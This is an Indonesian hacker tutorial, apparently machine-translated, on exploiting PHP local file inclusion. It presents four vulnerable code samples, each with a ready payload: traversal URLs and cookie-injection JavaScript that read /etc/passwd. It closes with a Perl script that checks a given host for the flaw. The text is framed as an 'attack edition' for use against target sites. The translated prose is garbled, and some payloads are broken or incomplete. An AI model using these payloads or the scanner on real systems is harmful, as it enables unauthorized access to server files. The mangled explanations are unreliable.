Fucking the Web Apps [LFI]

 ____                  __                              __    __               
/  _`               /       __                    / __/               
L___  __    ___ /’ /_    ___      __    ,_ ___      __  
    _/ /   /’___ , < / /’ _ `  /’_ `   /   _ `  /’__`
  / _ / __/ \`\ / / / L    _ /  __/
   _ ____/ ____\ _ _ _ _ _ ____    __\ _ _ ____
    /_/  /___/  /____/ /_//_//_//_//_//___L    /__/ /_//_//____/
                                                /____/                       
                                                _/__/                        
 __      __          __          ______                           
/   __/         /         /  _                            
/      __ ____   L   _____   _____     ____ 
    /’__` ‘__`     __ / ‘__`/ ‘__`  /’,__
  _/ _ /  __/ L    / L L /__, `
   `___x___/ ____\ _,__/    _ _ ,__/ ,__//____/
    ‘/__//__/  /____/ /___/      /_//_/ /  /  /___/
                                             _   _        
                                              /_/    /_/        
                                                        
                                                        Local File Inclusion #1
                                                                 attack edition

-[ INFOS ]———————————————————————–
Title: “fucking the Web Apps [LFI #1]”
Version: attack edition
Author: JosS
Editor : Xhyn00b13

mail: [email protected]
site: http://xhyn00b13.co.cc
team: Malang Cyber Crew-[MCC]

-[ SUMMARY ]———————————————————————
    0x00: Introducción
    0x01: Local File Inclusion
    0x02: Exploits
    0x03: Créditos

                               ___ for the sake ___

——[ 0x00.- Introducción ]

Halo semuanya bertemu lagi dengan saya si n00b13 cupu {Xhyn00b13}…
Disini saya akan menjelaskan sedikit tentang LFI (Local File Inclusion)…
Apa itu LFI ?? Dan apalagi selain itu ???
Klo definisi tentang LFI akan dijelaskan dibawah,,,,Tapi klo temennya LFI itu adalah RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. yang akan dijelaskan dalam tutorial berikutnya,,,,

——[ 0x01.- Local File Inclusion ]

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

Fungsi-fungsi yang dapat menyebabkan LFI/RFI:
Kode:

include();
include_once();
require();
require_once();

Dengan syarat pada konfigurasi php di server:

allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,
Code:

include “../$_GET[imagefile]“;
?>

misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya
Code:

http://www.[target].com/index.php?imagefile=image.php

maka script ini akan menampilkan halaman image.php.
Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.

Kita akan melihat cara yang berbeda mereka dapat memicu ‘LFI’ dan kedua pemrograman yang berbeda, eksploitasi berbeda, ini adalah apa yang kita cari: pikiran yang terbuka. 😉
[Kode # 1]
x:  >…
 if (isset($_GET[“mode”]))
     {
          if ($_GET[“mode”]==”edit”)
        {
         if (isset($_GET[‘id’]))
         {
              $notefile = $_GET[‘id’];
            if ($notefile == “new”)
            {
             $title = “”;
             $notes = “”;
            }
            else
            {
             $temp = “notes/” . $notefile;
             require($temp);
            }
x:  <…
x: }}}

[ENDcode #1]
Ini adalah contoh sederhana ‘LFI’ kita akan lihat. Seperti yang kita tidak punya banyak kesulitan memahami perilaku mereka.
1) Periksa apakah modus lulus variabel ” melalui ‘GET’. Jika hasilnya adalah
   
1, itu benar kemudian masukkan ke dalam pernyataan ‘IF’. 2) Periksa apakah variabel ‘edit’ melewati ‘GET’. Jika hasilnya adalah
   
1, itu benar kemudian masukkan ke dalam pernyataan ‘IF’.
Lanjutkan untuk memajukan …
3) Periksa apakah lulus id variabel ” melalui ‘GET’. Jika hasilnya adalah
   
1, itu benar kemudian masukkan ke dalam pernyataan ‘IF’. 4) Pergi ke variabel ‘$ notefile’ nilai yang kita lampirkan ke ‘id’ melalui
   
‘GET’ dan melihat apakah variabel $ notefile ‘sama’ baru ‘, dalam hal ini
   
Kita harus tetap dari Putusan ‘IF’, karena itu adalah termasuk
   
kita cari, apakah kami akan membuat dalam kondisi ini kita memperoleh nilai 0
   
dan beralih ke Else. 5) Menetapkan temp ‘$’ string dengan nilai kita di dalamnya ($ notefile). 6) Akhirnya menggunakan fungsi ‘membutuhkan’ dan termasuk string ‘$ temp’ dengan
   
kami nilai di dalamnya.
Exploit: ?mode=edit&id=../../../../../../../../../../etc/passwdJika Anda memiliki: $temp = “notes/” . $notefile . “.php”;
Yang memanfaatkan harus memiliki ‘NULL BYTE’ (% 00h) pada akhir rantai.
Exploit: ?mode=edit&id=../../../../../../../../../../etc/passwd

Untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd seperti contoh di Atas
—-
Setelah kami dihangatkan untuk melihat contoh kedua. Kode rentan terhadap ‘LFI’ oleh kerentanan ‘Insecure Cookie Penanganan ‘. Kurasa kau bertanya-tanya: kerentanan A dalam lain? Aneh bukan? maka tidak ada!. Lihat contoh.
[Kode # 2]
if(!empty($_COOKIE[‘language’]) && !isset($_SESSION[‘language’])){
    $_SESSION[‘language’] = $_COOKIE[‘language’];
}

….

if(LANG == “”){
    if(!isset($_SESSION[‘language’])){
        include(“lang/english/lang.php”);
        $_LANG = “english”;
    } else {
        include(“lang/”.$_SESSION[‘language’].”/lang.php”);
        $_LANG = $_SESSION[‘language’];
    }

… }

[ENDcode #2]
1) Periksa apakah kedua variabel “$ _COOKIE [‘bahasa’] dan $ bahasa _SESSION [”]”
   
tidak didefinisikan, kita jelas melihat kode yang tidak ditentukan, untuk
   
Saat kami masuk sepenuhnya ke dalam ‘IF’. 2) Kita tahu bahwa variabel ‘$ _COOKIE’ dapat dimanipulasi oleh user,
   
Oleh karena itu variabel ini akan kami vektor serangan. Seperti yang kita lihat dalam kode
   
ditugaskan untuk “$ bahasa _SESSION [”]” nilai “$ _COOKIE [‘bahasa’]” yang
   
akan diperkenalkan untuk kita oleh kerentanan ‘Insecure Cookie
   
Penanganan ‘. 3) Pastikan ‘LANG’ memiliki nilai tidak, dalam hal ini adalah ya dan memasuki
   
‘IF’. 4) Jika tidak didefinisikan “$ bahasa _SESSION [”]” akan memasuki ‘IF’ tetapi sebagai
   
kode melewati nilai $ _COOKIE $ _SESSION, jika variabel didefinisikan dan
   
Kami melewatkan ‘lain’. 5) Dalam ‘lain’ menggunakan fungsi ‘mencakup’ untuk memasukkan rantai kami.
Exploit:
javascript:document.cookie=”language=../../../../../../../../../../etc/passwd; path=/”;

Seperti yang kita lihat, kami harus menambahkan byte NULL (% 00h) mengapa kita termasuk satu di rantai akan ditambahkan ke kita dan menghindari kita “Direktori Tranversal ‘.
—-
Dalam contoh ketiga dan kedua dari belakang dari kategori ‘LFI’ kita punya masalah sangat mirip dengan Contoh 2, kali ini kami telah penyusup, fungsi ‘meledak’ PHP. Mari kita membuka pikiran dan berpikir seperti seorang hacker.
[Kode # 3]
x:  >…
 if (isset($HTTP_COOKIE_VARS[“userInfo”]) && $HTTP_COOKIE_VARS[“userInfo”] != “”) {
    $userArray = explode(” “, $HTTP_COOKIE_VARS[“userInfo”]);
    $userName = $userArray[0];
    $userID = $userArray[1];
    $userLang = $userArray[2];
    include(“include/lang/$userLang/inc.messages.php”);
    }
x:  <…

[ENDcode #3]
Anda harus tahu bahwa HTTP_COOKIE_VARS “$” juga dapat dimanipulasi oleh pengguna, tidak encerréis Anda dengan “” $ _COOKIE, terbuka …
1) Satu-satunya ‘JIKA’ cek variabel kode yang berbeda untuk ‘tidak ada’, adalah
   
mengatakan bahwa ketika kita melaksanakan kita ‘memanfaatkan’ memberi nilai
   
“$ HTTP_COOKIE_VARS [” userInfo “]” dan karena itu kami sepenuhnya di ‘IF’. 2) Fungsi ‘meledak’, seorang penyerang yang ingin kita mengganggu bug ‘memisahkan
   
rantai yang berbeda dan menyimpannya dalam sebuah ‘array’. 3) melampirkan ke garis “mencakup ‘mencakup’ userLang $ ‘yang mengumpulkan nilai ketiga
   
rantai yang ditemukan HTTP_COOKIE_VARS “$ [” userInfo “].”
Bukti Konsep (fungsi ‘meledak’ PHP):
1)
String = JosS;
[0] = JosS;
[1] = ;
[2] = ; —> INCLUDE

2)
String = JosS JosS JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; —> INCLUDE
Apakah Anda memahami, Artinya, kita harus memperkenalkan sesuatu seperti: sampah?
Exploit:
javascript:document.cookie=”userInfo=JosS JosS ../../../../etc/passwd; path=/”;

—-
Untuk contoh keempat dan terakhir untuk menyelesaikan bagian ‘LFI’ kami memiliki situasi mirip dengan Contoh 1, LFI yaitu, kita harus bermain dengan ‘JIKA kerentanan Gets’ yang memungkinkan penanganan cookie.
[Kode # 4]
x:  >…
 if (isset($_GET[“mode”]))
     {
          if ($_GET[“mode”]==”edit”)
        {
         if (isset($_GET[‘id’]))
         {
              $notefile = $_COOKIE[‘note’];
            if ($notefile == “new”)
            {
             $title = “”;
             $notes = “”;
            }
            else
            {
             $temp = “notes/” . $notefile;
             require($temp);
            }
x:  <…
x: }}}

[ENDcode #4]
Sekali lagi aku tidak akan menjelaskan langkah demi langkah apa kode seperti yang kita lihat dalam Contoh 1 dari bagian ini.
Kita harus ingat bahwa nilai kita ‘$ _COOKIE’ adalah termasuk harus positif ke ‘IF’ yang membantu kami untuk menyertakan kami ‘COOKIE’. Jadi kita tinggal dengan kedua eksploitasi.
Exploit 1:
javascript:document.cookie=”note=../../../../../../../../../../etc/passwd; path=/”;

 
Exploit 2: ?mode=edit&id
——[ 0x02 .- Eksploitasi]
Saya lebih suka menyebutnya “otomatis” dan yang hanya bisa menyederhanakan proses dan kenyamanan pengguna. Contoh di Perl, karena dengan python adalah yang paling umum digunakan dalam kasus-kasus. Berikut kode yang saya miliki untuk Anda disiapkan.
[Kode # 1]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

if (!$ARGV[0])
{
print “Usage: perl xpl.pl [HOST]n”;
print “Example: perl xpl.pl http://localhost/path/n”;
}

else
{

$web=$ARGV[0];
chomp $web;

$iny=”vuln.php?vuln=../../../../../../../../../../../../../../../../etc/passwd”;

my $web1=$web.$iny;
print “$web1nn”;
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print “Web is vulnn”;
}
else
{
print “Web is not vulnn”;
}}

[ENDcode #1]
Yang memanfaatkan sederhana dan tidak banyak misteri. Kami menggunakan modul ‘LWP’ untuk membuat kami sambungan ke web (dengan eksploitasi injeksi termasuk) dan oleh ekspresi yang biasa kami telah menyertakan file dan jika demikian apa yang menunjukkan, jika dinyatakan mendapatkan pesan kesalahan.

——[ 0x03.- Creditos ]
Jatimcrew, Malang Cyber Crew And All Forum Underground in Indonesia… YOU’RE THE BEST
Regretz to : My God, My Prophet, Byz9991, Bom2, Xr0b0t, Yur4kh4, Pr3tty, sh0r4, & YOu…

Leave a Reply

Your email address will not be published. Required fields are marked *